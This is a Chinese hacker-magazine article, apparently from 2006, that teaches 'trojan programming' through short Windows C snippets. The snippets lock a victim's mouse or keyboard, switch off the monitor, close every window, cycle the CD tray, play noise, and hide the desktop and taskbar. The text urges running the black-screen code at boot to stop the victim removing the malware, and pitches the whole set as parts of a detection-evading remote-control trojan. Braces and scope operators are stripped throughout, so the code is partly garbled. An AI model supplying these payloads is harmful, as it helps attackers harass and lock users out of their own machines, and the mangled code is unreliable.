木马编程DIY.doc
木马编程DIY文冷风在木马中除了必需的,屏幕控制,文件管理,SHELL之外还有其它的控制方式,我们用短小精悍的程序来一一DIY一下。1.锁定鼠标:这个功能很简单只要一个ClipCursor()就可以搞定了看看下面的小程序#include <stdio.h>#include <windows.h>int main(int argc, char* argv) printf("n别害怕15妙后你的鼠标就可以使用了_n"); RECT rect; rect.bottom=1; rect.right=1; ClipCursor(&rect); :Sleep(15000); ClipCursor(NULL);/释放 return 0; 注:本文于06/12月于黑客防线发表版权归黑客防线所有,转载请注明出处rect是一个结构,表示锁定的范围我们通常只用 bottom和right两个域2锁定键盘:锁键盘一般用钩子实现,所以难度稍大,不过下面这个程序当简单,而且连钩子所需要DLL也省了 #include <stdio.h>#include <windows.h>/处理按键消息的过程函数LRESULT CALLBACK keyproc( int code, WPARAM wParam, LPARAM lParam )return 1;/返回1可使键盘停止响应 main(int argc, char* argv) SetWindowsHookEx(WH_KEYBOARD,keyproc,GetModuleHandle(NULL),0);/安装键盘钩子 printf("nnn程序将在15妙之后返回.嘿嘿15妙内你的键盘是无法工作的哦n"); :Sleep(15000); 注:本文于06/12月于黑客防线发表版权归黑客防线所有,转载请注明出处上 面的代码是参考了6期“全局钩子”和7期“楚茗”的文章写成的,使用钩子而无DLL的关键就在于GetModuleHandle(NULL), GetModuleHandle()参数为NULL得到的是调用者本身的模块句柄,也就是说用程序本身作为DLL。因为是console程序,所以随着程 序的结束钩子也就OVER了,所以我并没有卸载钩子。钩子果然是强大,学会使用钩子你的水平就不一般了_.3.关闭显视器这个也是相当简单的看看代码:#include <windows.h>int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) SendMessage(FindWindow(0,0),WM_SYSCOMMAND,SC_MONITORPOWER,2);/关闭 :Sleep(10000); SendMessage(FindWindow(0,0),WM_SYSCOMMAND,SC_MONITORPOWER,-1);/打开 return 0;要是你够毒的话可以让它自动运行,开机就黑屏,任你杀毒水平再高,没有显示器看你怎么杀.嘿嘿4.关闭所有窗口原理是枚举所有窗口句柄,然后发送WM_CLOSE消息来关闭窗口,效果蛮好就差没重起#include <windows.h>BOOL CALLBACK EnumWindowsProc(HWND hwnd,LPARAM IParam);int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)EnumWindows(EnumWindowsProc,0);/将窗口句柄传给回调函数处理 return 0;BOOL CALLBACK EnumWindowsProc(HWND hwnd,LPARAM IParam)/回调函数 :PostMessage(hwnd,WM_CLOSE,0,0);/结束窗口 return (true);/返回FALSE时EnumWindows结束程序用EnumWindows()枚举所有窗口并把窗口句柄传给回调函数EnumWindowsProc,而回调函数的任务就是CLOSE!,呵呵5.锁定光驱其实说让“光驱跳舞”更合适,以下的程序可以打开并关闭光驱#include <mmsystem.h>/注意加入头文件int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) :mciSendString("set cdaudio door open",NULL,0,NULL);/打开 :mciSendString("set cdaudio door closed wait",NULL,0,NULL);/关闭 return 0;/注意在 工程-设置-LINK中加入库文件名winmm.lib如果你弄个死循环,就可以让他的光驱好好活动活动了_6.制造噪音大多时候我们要隐藏自己,但有时候我们就需要给对方放点音乐,小小的“提示”一下以证明我们的存在#include<windows.h>main() for(int j=450;j<500;j+) for(int i=1000;i<1110;i+) Beep(i,30); :Sleep(100); 关键就是一个Beep()第一个参数为赫兹第二个为音长你可以自己试一下,弄点好听的。7.隐藏桌面其实桌面与任务栏也是一种窗口,我们可以通过FindWindow来查找它们的句柄,然后通过ShowWindow()来隐藏或显视,其中桌面类名为ProgMan任务栏类名为Shell_TrayWnd。 #include <stdio.h>#include <windows.h>int main(int argc, char* argv) HWND disk,mask; disk=FindWindow("ProgMan",NULL); mask=FindWindow("Shell_TrayWnd",NULL); ShowWindow(mask,SW_HIDE);/隐藏任务栏 ShowWindow(disk,SW_HIDE);/隐藏桌面 printf("n15妙后会自动出现桌面 请等待.n"); Sleep(15000); ShowWindow(mask,SW_SHOW);/显示 ShowWindow(disk,SW_SHOW);/显示 return 0; 有了上面的技术结合以前的文章,你也可以写出功能彪悍的远控程序了,而且不怕查杀,比免杀木马用着舒服多了。